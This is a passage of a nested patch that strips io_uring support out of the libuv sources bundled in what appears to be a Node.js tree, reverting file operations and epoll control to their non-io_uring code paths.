+ }
+
+@@ -1981,9 +1984,6 @@ int uv_fs_open(uv_loop_t* loop,
+ PATH;
+ req->flags = flags;
+ req->mode = mode;
+- if (cb != NULL)
+- if (uv__iou_fs_open(loop, req))
+- return 0;
+ POST;
+ }
+
+@@ -2012,11 +2012,6 @@ int uv_fs_read(uv_loop_t* loop, uv_fs_t* req,
+ memcpy(req->bufs, bufs, nbufs * sizeof(*bufs));
+
+ req->off = off;
+-
+- if (cb != NULL)
+- if (uv__iou_fs_read_or_write(loop, req, /* is_read */ 1))
+- return 0;
+-
+ POST;
+ }
+
+@@ -2124,9 +2119,6 @@ int uv_fs_sendfile(uv_loop_t* loop,
+ int uv_fs_stat(uv_loop_t* loop, uv_fs_t* req, const char* path, uv_fs_cb cb) {
+ INIT(STAT);
+ PATH;
+- if (cb != NULL)
+- if (uv__iou_fs_statx(loop, req, /* is_fstat */ 0, /* is_lstat */ 0))
+- return 0;
+ POST;
+ }
+
+@@ -2190,11 +2182,6 @@ int uv_fs_write(uv_loop_t* loop,
+ memcpy(req->bufs, bufs, nbufs * sizeof(*bufs));
+
+ req->off = off;
+-
+- if (cb != NULL)
+- if (uv__iou_fs_read_or_write(loop, req, /* is_read */ 0))
+- return 0;
+-
+ POST;
+ }
+
+diff --git a/deps/uv/src/unix/internal.h b/deps/uv/src/unix/internal.h
+index 6c5822e6a0d..d439ae6dd3d 100644
+--- a/deps/uv/src/unix/internal.h
++++ b/deps/uv/src/unix/internal.h
+@@ -329,28 +329,6 @@ int uv__random_getentropy(void* buf, size_t buflen);
+ int uv__random_readpath(const char* path, void* buf, size_t buflen);
+ int uv__random_sysctl(void* buf, size_t buflen);
+
+-/* io_uring */
+-#ifdef __linux__
+-int uv__iou_fs_close(uv_loop_t* loop, uv_fs_t* req);
+-int uv__iou_fs_fsync_or_fdatasync(uv_loop_t* loop,
+- uv_fs_t* req,
+- uint32_t fsync_flags);
+-int uv__iou_fs_open(uv_loop_t* loop, uv_fs_t* req);
+-int uv__iou_fs_read_or_write(uv_loop_t* loop,
+- uv_fs_t* req,
+- int is_read);
+-int uv__iou_fs_statx(uv_loop_t* loop,
+- uv_fs_t* req,
+- int is_fstat,
+- int is_lstat);
+-#else
+-#define uv__iou_fs_close(loop, req) 0
+-#define uv__iou_fs_fsync_or_fdatasync(loop, req, fsync_flags) 0
+-#define uv__iou_fs_open(loop, req) 0
+-#define uv__iou_fs_read_or_write(loop, req, is_read) 0
+-#define uv__iou_fs_statx(loop, req, is_fstat, is_lstat) 0
+-#endif
+-
+ #if defined(__APPLE__)
+ int uv___stream_fd(const uv_stream_t* handle);
+ #define uv__stream_fd(handle) (uv___stream_fd((const uv_stream_t*) (handle)))
+@@ -427,7 +405,6 @@ int uv__statx(int dirfd,
+ int flags,
+ unsigned int mask,
+ struct uv__statx* statxbuf);
+-void uv__statx_to_stat(const struct uv__statx* statxbuf, uv_stat_t* buf);
+ ssize_t uv__getrandom(void* buf, size_t buflen, unsigned flags);
+ #endif
+
+diff --git a/deps/uv/src/unix/kqueue.c b/deps/uv/src/unix/kqueue.c
+index 82916d65933..deb486bae7a 100644
+--- a/deps/uv/src/unix/kqueue.c
++++ b/deps/uv/src/unix/kqueue.c
+@@ -127,7 +127,6 @@ static void uv__kqueue_delete(int kqfd, const struct kevent *ev) {
+
+
+ void uv__io_poll(uv_loop_t* loop, int timeout) {
+- uv__loop_internal_fields_t* lfields;
+ struct kevent events[1024];
+ struct kevent* ev;
+ struct timespec spec;
+@@ -156,7 +155,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ return;
+ }
+
+- lfields = uv__get_internal_fields(loop);
+ nevents = 0;
+
+ while (!QUEUE_EMPTY(&loop->watcher_queue)) {
+@@ -224,7 +222,7 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ base = loop->time;
+ count = 48; /* Benchmarks suggest this gives the best throughput. */
+
+- if (lfields->flags & UV_METRICS_IDLE_TIME) {
++ if (uv__get_internal_fields(loop)->flags & UV_METRICS_IDLE_TIME) {
+ reset_timeout = 1;
+ user_timeout = timeout;
+ timeout = 0;
+@@ -247,12 +245,6 @@ void uv__io_poll(uv_loop_t* loop, int timeout) {
+ if (pset != NULL)
+ pthread_sigmask(SIG_BLOCK, pset, NULL);
+
+- /* Store the current timeout in a location that's globally accessible so
+- * other locations like uv__work_done() can determine whether the queue
+- * of events in the callback were waiting when poll was called.
+- */
+- lfields->current_timeout = timeout;
+-
+ nfds = kevent(loop->backend_fd,
+ events,
+ nevents,
+diff --git a/deps/uv/src/unix/linux.c b/deps/uv/src/unix/linux.c
+index 5f84ad0eea3..343e37f2527 100644
+--- a/deps/uv/src/unix/linux.c
++++ b/deps/uv/src/unix/linux.c
+@@ -27,8 +27,6 @@
+ #include "internal.h"
+
+ #include <inttypes.h>
+-#include <stdatomic.h>
+-#include <stddef.h> /* offsetof */
+ #include <stdint.h>
+ #include <stdio.h>
+ #include <stdlib.h>
+@@ -40,29 +38,15 @@
+ #include <net/if.h>
+ #include <sys/epoll.h>
+ #include <sys/inotify.h>
+-#include <sys/mman.h>
+ #include <sys/param.h>
+ #include <sys/prctl.h>
+ #include <sys/stat.h>
+ #include <sys/syscall.h>
+ #include <sys/sysinfo.h>
+-#include <sys/sysmacros.h>
+ #include <sys/types.h>
+ #include <time.h>
+ #include <unistd.h>
+
+-#ifndef __NR_io_uring_setup
+-# define __NR_io_uring_setup 425
+-#endif
+-
+-#ifndef __NR_io_uring_enter
+-# define __NR_io_uring_enter 426
+-#endif
+-
+-#ifndef __NR_io_uring_register
+-# define __NR_io_uring_register 427
+-#endif
+-
+ #ifndef __NR_copy_file_range
+ # if defined(__x86_64__)
+ # define __NR_copy_file_range 326
+@@ -132,129 +116,6 @@
+ # include <netpacket/packet.h>
+ #endif /* HAVE_IFADDRS_H */
+
+-enum {
+- UV__IORING_SETUP_SQPOLL = 2u,
+-};
+-
+-enum {
+- UV__IORING_FEAT_SINGLE_MMAP = 1u,
+- UV__IORING_FEAT_NODROP = 2u,
+- UV__IORING_FEAT_RSRC_TAGS = 1024u, /* linux v5.13 */
+-};
+-
+-enum {
+- UV__IORING_OP_READV = 1,
+- UV__IORING_OP_WRITEV = 2,
+- UV__IORING_OP_FSYNC = 3,
+- UV__IORING_OP_OPENAT = 18,
+- UV__IORING_OP_CLOSE = 19,
+- UV__IORING_OP_STATX = 21,
+- UV__IORING_OP_EPOLL_CTL = 29,
+-};
+-
+-enum {
+- UV__IORING_ENTER_GETEVENTS = 1u,
+- UV__IORING_ENTER_SQ_WAKEUP = 2u,
+-};
+-
+-enum {
+- UV__IORING_SQ_NEED_WAKEUP = 1u,
+- UV__IORING_SQ_CQ_OVERFLOW = 2u,
+-};
+-
+-struct uv__io_cqring_offsets {
+- uint32_t head;
+- uint32_t tail;
+- uint32_t ring_mask;
+- uint32_t ring_entries;
+- uint32_t overflow;
+- uint32_t cqes;
+- uint64_t reserved0;
+- uint64_t reserved1;
+-};
+-
+-STATIC_ASSERT(40 == sizeof(struct uv__io_cqring_offsets));
+-
+-struct uv__io_sqring_offsets {
+- uint32_t head;
+- uint32_t tail;
+- uint32_t ring_mask;
+- uint32_t ring_entries;
+- uint32_t flags;
+- uint32_t dropped;
+- uint32_t array;
+- uint32_t reserved0;
+- uint64_t reserved1;
+-};
+-
+-STATIC_ASSERT(40 == sizeof(struct uv__io_sqring_offsets));
+-
+-struct uv__io_uring_cqe {
+- uint64_t user_data;
+- int32_t res;
+- uint32_t flags;
+-};
+-
+-STATIC_ASSERT(16 == sizeof(struct uv__io_uring_cqe));
+-
+-struct uv__io_uring_sqe {
+- uint8_t opcode;
+- uint8_t flags;
+- uint16_t ioprio;
+- int32_t fd;
+- union {
+- uint64_t off;
+- uint64_t addr2;
+- };
+- union {
+- uint64_t addr;
+- };
+- uint32_t len;
+- union {
+- uint32_t rw_flags;
+- uint32_t fsync_flags;
+- uint32_t open_flags;
+- uint32_t statx_flags;
+- };
+- uint64_t user_data;
+- union {
+- uint16_t buf_index;
+- uint64_t pad[3];
+- };
+-};
+-
+-STATIC_ASSERT(64 == sizeof(struct uv__io_uring_sqe));
+-STATIC_ASSERT(0 == offsetof(struct uv__io_uring_sqe, opcode));
+-STATIC_ASSERT(1 == offsetof(struct uv__io_uring_sqe, flags));
+-STATIC_ASSERT(2 == offsetof(struct uv__io_uring_sqe, ioprio));
+-STATIC_ASSERT(4 == offsetof(struct uv__io_uring_sqe, fd));
+-STATIC_ASSERT(8 == offsetof(struct uv__io_uring_sqe, off));
+-STATIC_ASSERT(16 == offsetof(struct uv__io_uring_sqe, addr));
+-STATIC_ASSERT(24 == offsetof(struct uv__io_uring_sqe, len));
+-STATIC_ASSERT(28 == offsetof(struct uv__io_uring_sqe, rw_flags));
+-STATIC_ASSERT(32 == offsetof(struct uv__io_uring_sqe, user_data));
+-STATIC_ASSERT(40 == offsetof(struct uv__io_uring_sqe, buf_index));
+-
+-struct uv__io_uring_params {
+- uint32_t sq_entries;
+- uint32_t cq_entries;
+- uint32_t flags;
+- uint32_t sq_thread_cpu;
+- uint32_t sq_thread_idle;
+- uint32_t features;
+- uint32_t reserved[4];
+- struct uv__io_sqring_offsets sq_off; /* 40 bytes */
+- struct uv__io_cqring_offsets cq_off; /* 40 bytes */
+-};
+-
+-STATIC_ASSERT(40 + 40 + 40 == sizeof(struct uv__io_uring_params));
+-STATIC_ASSERT(40 == offsetof(struct uv__io_uring_params, sq_off));
+-STATIC_ASSERT(80 == offsetof(struct uv__io_uring_params, cq_off));
+-
+-STATIC_ASSERT(EPOLL_CTL_ADD < 4);
+-STATIC_ASSERT(EPOLL_CTL_DEL < 4);
+-STATIC_ASSERT(EPOLL_CTL_MOD < 4);
+-
+ struct watcher_list {
+ RB_ENTRY(watcher_list) entry;
+ QUEUE watchers;
+@@ -276,17 +137,6 @@ static int compare_watchers(const struct watcher_list* a,
+ static void maybe_free_watcher_list(struct watcher_list* w,
+ uv_loop_t* loop);
+
+-static void uv__epoll_ctl_flush(int epollfd,
+- struct uv__iou* ctl,
+- struct epoll_event (*events)[256]);
+-
+-static void uv__epoll_ctl_prep(int epollfd,
+- struct uv__iou* ctl,
+- struct epoll_event (*events)[256],
+- int op,
+- int fd,
+- struct epoll_event* e);
+-
+ RB_GENERATE_STATIC(watcher_root, watcher_list, entry, compare_watchers)
+
+
+@@ -356,187 +206,7 @@ ssize_t uv__getrandom(void* buf, size_t buflen, unsigned flags) {
+ }
+
+
+-int uv__io_uring_setup(int entries, struct uv__io_uring_params* params) {
+- return syscall(__NR_io_uring_setup, entries, params);
+-}
+-
+-
+-int uv__io_uring_enter(int fd,
+- unsigned to_submit,
+- unsigned min_complete,
+- unsigned flags) {
+- /* io_uring_enter used to take a sigset_t but it's unused
+- * in newer kernels unless IORING_ENTER_EXT_ARG is set,
+- * in which case it takes a struct io_uring_getevents_arg.
+- */
+- return syscall(__NR_io_uring_enter,
+- fd,
+- to_submit,
+- min_complete,
+- flags,
+- NULL,
+- 0L);
+-}
+-
+-
+-int uv__io_uring_register(int fd, unsigned opcode, void* arg, unsigned nargs) {
+- return syscall(__NR_io_uring_register, fd, opcode, arg, nargs);
+-}
+-
+-
+-static int uv__use_io_uring(void) {
+- /* Ternary: unknown=0, yes=1, no=-1 */
+- static _Atomic int use_io_uring;
+- char* val;
+- int use;
+-
+- use = atomic_load_explicit(&use_io_uring, memory_order_relaxed);
+-
+- if (use == 0) {
+- val = getenv("UV_USE_IO_URING");
+- use = val == NULL || atoi(val) ? 1 : -1;
+- atomic_store_explicit(&use_io_uring, use, memory_order_relaxed);
+- }
+-
+- return use > 0;
+-}
+-
+-
+-static void uv__iou_init(int epollfd,
+- struct uv__iou* iou,
+- uint32_t entries,
+- uint32_t flags) {
+- struct uv__io_uring_params params;
+- struct epoll_event e;
+- size_t cqlen;
+- size_t sqlen;
+- size_t maxlen;
+- size_t sqelen;
+- uint32_t i;
+- char* sq;
+- char* sqe;
+- int ringfd;
+-
+- sq = MAP_FAILED;
+- sqe = MAP_FAILED;
+-
+- if (!uv__use_io_uring())
+- return;
+-
+- /* SQPOLL required CAP_SYS_NICE until linux v5.12 relaxed that requirement.
+- * Mostly academic because we check for a v5.13 kernel afterwards anyway.
+- */
+- memset(&params, 0, sizeof(params));
+- params.flags = flags;
+-
+- if (flags & UV__IORING_SETUP_SQPOLL)
+- params.sq_thread_idle = 10; /* milliseconds */
+-
+- /* Kernel returns a file descriptor with O_CLOEXEC flag set. */
+- ringfd = uv__io_uring_setup(entries, &params);
+- if (ringfd == -1)
+- return;
+-
+- /* IORING_FEAT_RSRC_TAGS is used to detect linux v5.13 but what we're
+- * actually detecting is whether IORING_OP_STATX works with SQPOLL.
+- */
+- if (!(params.features & UV__IORING_FEAT_RSRC_TAGS))
+- goto fail;
+-
+- /* Implied by IORING_FEAT_RSRC_TAGS but checked explicitly anyway. */
+- if (!(params.features & UV__IORING_FEAT_SINGLE_MMAP))
+- goto fail;
+-
+- /* Implied by IORING_FEAT_RSRC_TAGS but checked explicitly anyway. */
+- if (!(params.features & UV__IORING_FEAT_NODROP))
+- goto fail;
+-
+- sqlen = params.sq_off.array + params.sq_entries * sizeof(uint32_t);
+- cqlen =
+- params.cq_off.cqes + params.cq_entries * sizeof(struct uv__io_uring_cqe);
+- maxlen = sqlen < cqlen ? cqlen : sqlen;
+- sqelen = params.sq_entries * sizeof(struct uv__io_uring_sqe);
+-
+- sq = mmap(0,
+- maxlen,
+- PROT_READ | PROT_WRITE,
+- MAP_SHARED | MAP_POPULATE,
+- ringfd,
+- 0); /* IORING_OFF_SQ_RING */
+-
+- sqe = mmap(0,
+- sqelen,
+- PROT_READ | PROT_WRITE,
+- MAP_SHARED | MAP_POPULATE,
+- ringfd,
+- 0x10000000ull); /* IORING_OFF_SQES */
+-
+- if (sq == MAP_FAILED || sqe == MAP_FAILED)
+- goto fail;
+-
+- if (flags & UV__IORING_SETUP_SQPOLL) {
+- /* Only interested in completion events. To get notified when
+- * the kernel pulls items from the submission ring, add POLLOUT.
+- */
+- memset(&e, 0, sizeof(e));
+- e.events = POLLIN;
+- e.data.fd = ringfd;
+-
+- if (epoll_ctl(epollfd, EPOLL_CTL_ADD, ringfd, &e))
+- goto fail;
+- }
+-
+- iou->sqhead = (uint32_t*) (sq + params.sq_off.head);
+- iou->sqtail = (uint32_t*) (sq + params.sq_off.tail);
+- iou->sqmask = *(uint32_t*) (sq + params.sq_off.ring_mask);
+- iou->sqarray = (uint32_t*) (sq + params.sq_off.array);
+- iou->sqflags = (uint32_t*) (sq + params.sq_off.flags);
+- iou->cqhead = (uint32_t*) (sq + params.cq_off.head);
+- iou->cqtail = (uint32_t*) (sq + params.cq_off.tail);
+- iou->cqmask = *(uint32_t*) (sq + params.cq_off.ring_mask);
+- iou->sq = sq;
+- iou->cqe = sq + params.cq_off.cqes;
+- iou->sqe = sqe;
+- iou->sqlen = sqlen;
+- iou->cqlen = cqlen;
+- iou->maxlen = maxlen;
+- iou->sqelen = sqelen;
+- iou->ringfd = ringfd;
+- iou->in_flight = 0;
+-
+- for (i = 0; i <= iou->sqmask; i++)
+- iou->sqarray[i] = i; /* Slot -> sqe identity mapping. */
+-
+- return;
+-
+-fail:
+- if (sq != MAP_FAILED)
+- munmap(sq, maxlen);
+-
+- if (sqe != MAP_FAILED)
+- munmap(sqe, sqelen);
+-
+- uv__close(ringfd);
+-}
+-
+-
+-static void uv__iou_delete(struct uv__iou* iou) {
+- if (iou->ringfd != -1) {
+- munmap(iou->sq, iou->maxlen);
+- munmap(iou->sqe, iou->sqelen);
+- uv__close(iou->ringfd);
+- iou->ringfd = -1;
+- }
+-}
+-
+-
+ int uv__platform_loop_init(uv_loop_t* loop) {
+- uv__loop_internal_fields_t* lfields;
+-
+- lfields = uv__get_internal_fields(loop);
+- lfields->ctl.ringfd = -1;
+- lfields->iou.ringfd = -1;
+-
+ loop->inotify_watchers = NULL;
+ loop->inotify_fd = -1;
+ loop->backend_fd = epoll_create1(O_CLOEXEC);
+@@ -544,9 +214,6 @@ int uv__platform_loop_init(uv_loop_t* loop) {
+ if (loop->backend_fd == -1)
+ return UV__ERR(errno);
+
+- uv__iou_init(loop->backend_fd, &lfields->iou, 64, UV__IORING_SETUP_SQPOLL);
+- uv__iou_init(loop->backend_fd, &lfields->ctl, 256, 0);
+-
+ return 0;
+ }
+
+@@ -559,8 +226,6 @@ int uv__io_fork(uv_loop_t* loop) {
+
+ uv__close(loop->backend_fd);
+ loop->backend_fd = -1;
+-
+- /* TODO(bnoordhuis) Loses items from the submission and completion rings. */
+ uv__platform_loop_delete(loop);
+
+ err = uv__platform_loop_init(loop);
+@@ -572,62 +237,42 @@ int uv__io_fork(uv_loop_t* loop) {
+
+
+ void uv__platform_loop_delete(uv_loop_t* loop) {
+- uv__loop_internal_fields_t* lfields;
+-
+- lfields = uv__get_internal_fields(loop);
+- uv__iou_delete(&lfields->ctl);
+- uv__iou_delete(&lfields->iou);
+-
+- if (loop->inotify_fd != -1) {
+- uv__io_stop(loop, &loop->inotify_read_watcher, POLLIN);
+- uv__close(loop->inotify_fd);
+- loop->inotify_fd = -1;
+- }
++ if (loop->inotify_fd == -1) return;
++ uv__io_stop(loop, &loop->inotify_read_watcher, POLLIN);
++ uv__close(loop->inotify_fd);
++ loop->inotify_fd = -1;
+ }
+
+
+-struct uv__invalidate {
+- struct epoll_event (*prep)[256];
+- struct epoll_event* events;
+- int nfds;
+-};
+-
+-
+ void uv__platform_invalidate_fd(uv_loop_t* loop, int fd) {
+- uv__loop_internal_fields_t* lfields;
+- struct uv__invalidate* inv;
++ struct epoll_event* events;
+ struct epoll_event dummy;
+- int i;
++ uintptr_t i;
++ uintptr_t nfds;
+
+- lfields = uv__get_internal_fields(loop);
+- inv = lfields->inv;
++ assert(loop->watchers != NULL);
++ assert(fd >= 0);
+
+- /* Invalidate events with same file descriptor */
+- if (inv != NULL)
+- for (i = 0; i < inv->nfds; i++)
+- if (inv->events[i].data.fd == fd)
+- inv->events[i].data.fd = -1;
++ events = (struct epoll_event*) loop->watchers[loop->nwatchers];
++ nfds = (uintptr_t) loop->watchers[loop->nwatchers + 1];
++ if (events != NULL)
++ /* Invalidate events with same file descriptor */
++ for (i = 0; i < nfds; i++)
++ if (events[i].data.fd == fd)
++ events[i].data.fd = -1;
+
+ /* Remove the file descriptor from the epoll.
+ * This avoids a problem where the same file description remains open
+ * in another process, causing repeated junk epoll events.
+ *
+ * We pass in a dummy epoll_event, to work around a bug in old kernels.
+- *
+- * Work around a bug in kernels 3.10 to 3.19 where passing a struct that
+- * has the EPOLLWAKEUP flag set generates spurious audit syslog warnings.
+ */
+- memset(&dummy, 0, sizeof(dummy));
+-
+- if (inv == NULL) {
++ if (loop->backend_fd >= 0) {
++ /* Work around a bug in kernels 3.10 to 3.19 where passing a struct that
++ * has the EPOLLWAKEUP flag set generates spurious audit syslog warnings.
++ */
++ memset(&dummy, 0, sizeof(dummy));
+ epoll_ctl(loop->backend_fd, EPOLL_CTL_DEL, fd, &dummy);
+- } else {
+- uv__epoll_ctl_prep(loop->backend_fd,
+- &lfields->ctl,
+- inv->prep,
+- EPOLL_CTL_DEL,
+- fd,
+- &dummy);
+ }
+ }
+
+@@ -653,454 +298,27 @@ int uv__io_check_fd(uv_loop_t* loop, int fd) {
+ }
+
+
+-/* Caller must initialize SQE and call uv__iou_submit(). */
+-static struct uv__io_uring_sqe* uv__iou_get_sqe(struct uv__iou* iou,
+- uv_loop_t* loop,
+- uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- uint32_t head;
+- uint32_t tail;
+- uint32_t mask;
+- uint32_t slot;
+-
+- if (iou->ringfd == -1)
+- return NULL;
+-
+- head = atomic_load_explicit((_Atomic uint32_t*) iou->sqhead,
+- memory_order_acquire);
+- tail = *iou->sqtail;
+- mask = iou->sqmask;
+-
+- if ((head & mask) == ((tail + 1) & mask))
+- return NULL; /* No room in ring buffer. TODO(bnoordhuis) maybe flush it? */
+-
+- slot = tail & mask;
+- sqe = iou->sqe;
+- sqe = &sqe[slot];
+- memset(sqe, 0, sizeof(*sqe));
+- sqe->user_data = (uintptr_t) req;
+-
+- /* Pacify uv_cancel(). */
+- req->work_req.loop = loop;
+- req->work_req.work = NULL;
+- req->work_req.done = NULL;
+- QUEUE_INIT(&req->work_req.wq);
+-
+- uv__req_register(loop, req);
+- iou->in_flight++;
+-
+- return sqe;
+-}
+-
+-
+-static void uv__iou_submit(struct uv__iou* iou) {
+- uint32_t flags;
+-
+- atomic_store_explicit((_Atomic uint32_t*) iou->sqtail,
+- *iou->sqtail + 1,
+- memory_order_release);
+-
+- flags = atomic_load_explicit((_Atomic uint32_t*) iou->sqflags,
+- memory_order_acquire);
+-
+- if (flags & UV__IORING_SQ_NEED_WAKEUP)
+- if (uv__io_uring_enter(iou->ringfd, 0, 0, UV__IORING_ENTER_SQ_WAKEUP))
+- if (errno != EOWNERDEAD) /* Kernel bug. Harmless, ignore. */
+- perror("libuv: io_uring_enter(wakeup)"); /* Can't happen. */
+-}
+-
+-
+-int uv__iou_fs_close(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->fd = req->file;
+- sqe->opcode = UV__IORING_OP_CLOSE;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_fsync_or_fdatasync(uv_loop_t* loop,
+- uv_fs_t* req,
+- uint32_t fsync_flags) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- /* Little known fact: setting seq->off and seq->len turns
+- * it into an asynchronous sync_file_range() operation.
+- */
+- sqe->fd = req->file;
+- sqe->fsync_flags = fsync_flags;
+- sqe->opcode = UV__IORING_OP_FSYNC;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_open(uv_loop_t* loop, uv_fs_t* req) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->fd = AT_FDCWD;
+- sqe->len = req->mode;
+- sqe->opcode = UV__IORING_OP_OPENAT;
+- sqe->open_flags = req->flags | O_CLOEXEC;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_read_or_write(uv_loop_t* loop,
+- uv_fs_t* req,
+- int is_read) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__iou* iou;
+-
+- /* For the moment, if iovcnt is greater than IOV_MAX, fallback to the
+- * threadpool. In the future we might take advantage of IOSQE_IO_LINK. */
+- if (req->nbufs > IOV_MAX)
+- return 0;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL)
+- return 0;
+-
+- sqe->addr = (uintptr_t) req->bufs;
+- sqe->fd = req->file;
+- sqe->len = req->nbufs;
+- sqe->off = req->off < 0 ? -1 : req->off;
+- sqe->opcode = is_read ? UV__IORING_OP_READV : UV__IORING_OP_WRITEV;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-int uv__iou_fs_statx(uv_loop_t* loop,
+- uv_fs_t* req,
+- int is_fstat,
+- int is_lstat) {
+- struct uv__io_uring_sqe* sqe;
+- struct uv__statx* statxbuf;
+- struct uv__iou* iou;
+-
+- statxbuf = uv__malloc(sizeof(*statxbuf));
+- if (statxbuf == NULL)
+- return 0;
+-
+- iou = &uv__get_internal_fields(loop)->iou;
+-
+- sqe = uv__iou_get_sqe(iou, loop, req);
+- if (sqe == NULL) {
+- uv__free(statxbuf);
+- return 0;
+- }
+-
+- req->ptr = statxbuf;
+-
+- sqe->addr = (uintptr_t) req->path;
+- sqe->addr2 = (uintptr_t) statxbuf;
+- sqe->fd = AT_FDCWD;
+- sqe->len = 0xFFF; /* STATX_BASIC_STATS + STATX_BTIME */
+- sqe->opcode = UV__IORING_OP_STATX;
+-
+- if (is_fstat) {
+- sqe->addr = (uintptr_t) "";
+- sqe->fd = req->file;
+- sqe->statx_flags |= 0x1000; /* AT_EMPTY_PATH */
+- }
+-
+- if (is_lstat)
+- sqe->statx_flags |= AT_SYMLINK_NOFOLLOW;
+-
+- uv__iou_submit(iou);
+-
+- return 1;
+-}
+-
+-
+-void uv__statx_to_stat(const struct uv__statx* statxbuf, uv_stat_t* buf) {
+- buf->st_dev = makedev(statxbuf->stx_dev_major, statxbuf->stx_dev_minor);
+- buf->st_mode = statxbuf->stx_mode;
+- buf->st_nlink = statxbuf->stx_nlink;
+- buf->st_uid = statxbuf->stx_uid;
+- buf->st_gid = statxbuf->stx_gid;
+- buf->st_rdev = makedev(statxbuf->stx_rdev_major, statxbuf->stx_rdev_minor);
+- buf->st_ino = statxbuf->stx_ino;
+- buf->st_size = statxbuf->stx_size;
+- buf->st_blksize = statxbuf->stx_blksize;
+- buf->st_blocks = statxbuf->stx_blocks;
+- buf->st_atim.tv_sec = statxbuf->stx_atime.tv_sec;
+- buf->st_atim.tv_nsec = statxbuf->stx_atime.tv_nsec;
+- buf->st_mtim.tv_sec = statxbuf->stx_mtime.tv_sec;
+- buf->st_mtim.tv_nsec = statxbuf->stx_mtime.tv_nsec;
+- buf->st_ctim.tv_sec = statxbuf->stx_ctime.tv_sec;
+- buf->st_ctim.tv_nsec = statxbuf->stx_ctime.tv_nsec;
+- buf->st_birthtim.tv_sec = statxbuf->stx_btime.tv_sec;
+- buf->st_birthtim.tv_nsec = statxbuf->stx_btime.tv_nsec;
+- buf->st_flags = 0;
+- buf->st_gen = 0;
+-}
+-
+-
+-static void uv__iou_fs_statx_post(uv_fs_t* req) {
+- struct uv__statx* statxbuf;
+- uv_stat_t* buf;
+-
+- buf = &req->statbuf;
+- statxbuf = req->ptr;
+- req->ptr = NULL;
+-
+- if (req->result == 0) {
+- uv__msan_unpoison(statxbuf, sizeof(*statxbuf));
+- uv__statx_to_stat(statxbuf, buf);
+- req->ptr = buf;
+- }
+-
+- uv__free(statxbuf);
+-}
+-
+-
+-static void uv__poll_io_uring(uv_loop_t* loop, struct uv__iou* iou) {
+- struct uv__io_uring_cqe* cqe;
+- struct uv__io_uring_cqe* e;
+- uv_fs_t* req;
+- uint32_t head;
+- uint32_t tail;
+- uint32_t mask;
+- uint32_t i;
+- uint32_t flags;
+- int nevents;
+- int rc;
+-
+- head = *iou->cqhead;
+- tail = atomic_load_explicit((_Atomic uint32_t*) iou->cqtail,
+- memory_order_acquire);
+- mask = iou->cqmask;
+- cqe = iou->cqe;
+- nevents = 0;
+-
+- for (i = head; i != tail; i++) {
+- e = &cqe[i & mask];
+-
+- req = (uv_fs_t*) (uintptr_t) e->user_data;
+- assert(req->type == UV_FS);
+-
+- uv__req_unregister(loop, req);
+- iou->in_flight--;
+-
+- /* io_uring stores error codes as negative numbers, same as libuv. */
+- req->result = e->res;
+-
+- switch (req->fs_type) {
+- case UV_FS_FSTAT:
+- case UV_FS_LSTAT:
+- case UV_FS_STAT:
+- uv__iou_fs_statx_post(req);
+- break;
+- default: /* Squelch -Wswitch warnings. */
+- break;
+- }
+-
+- uv__metrics_update_idle_time(loop);
+- req->cb(req);
+- nevents++;
+- }
+-
+- atomic_store_explicit((_Atomic uint32_t*) iou->cqhead,
+- tail,
+- memory_order_release);
+-
+- /* Check whether CQE's overflowed, if so enter the kernel to make them
+- * available. Don't grab them immediately but in the next loop iteration to
+- * avoid loop starvation. */
+- flags = atomic_load_explicit((_Atomic uint32_t*) iou->sqflags,
+- memory_order_acquire);
+-
+- if (flags & UV__IORING_SQ_CQ_OVERFLOW) {
+- do
+- rc = uv__io_uring_enter(iou->ringfd, 0, 0, UV__IORING_ENTER_GETEVENTS);
+- while (rc == -1 && errno == EINTR);
+-
+- if (rc < 0)
+- perror("libuv: io_uring_enter(getevents)"); /* Can't happen. */
+- }
+-
+- uv__metrics_inc_events(loop, nevents);
+- if (uv__get_internal_fields(loop)->current_timeout == 0)
+- uv__metrics_inc_events_waiting(loop, nevents);
+-}
+-
+-
+-static void uv__epoll_ctl_prep(int epollfd,
+- struct uv__iou* ctl,
+- struct epoll_event (*events)[256],
+- int op,
+- int fd,
+- struct epoll_event* e) {
+- struct uv__io_uring_sqe* sqe;
+- struct epoll_event* pe;
+- uint32_t mask;
+- uint32_t slot;
+-
+- if (ctl->ringfd == -1) {
+- if (!epoll_ctl(epollfd, op, fd, e))
+- return;
+-
+- if (op == EPOLL_CTL_DEL)
+- return; /* Ignore errors, may be racing with another thread. */
+-
+- if (op != EPOLL_CTL_ADD)
+- abort();
+-
+- if (errno != EEXIST)
+- abort();
+-
+- /* File descriptor that's been watched before, update event mask. */
+- if (!epoll_ctl(epollfd, EPOLL_CTL_MOD, fd, e))
+- return;
+-
+- abort();
+- } else {
+- mask = ctl->sqmask;
+- slot = (*ctl->sqtail)++ & mask;
+-
+- pe = &(*events)[slot];
+- *pe = *e;
+-
+- sqe = ctl->sqe;
+- sqe = &sqe[slot];
+-
+- memset(sqe, 0, sizeof(*sqe));
+- sqe->addr = (uintptr_t) pe;
+- sqe->fd = epollfd;
+- sqe->len = op;
+- sqe->off = fd;
+- sqe->opcode = UV__IORING_OP_EPOLL_CTL;
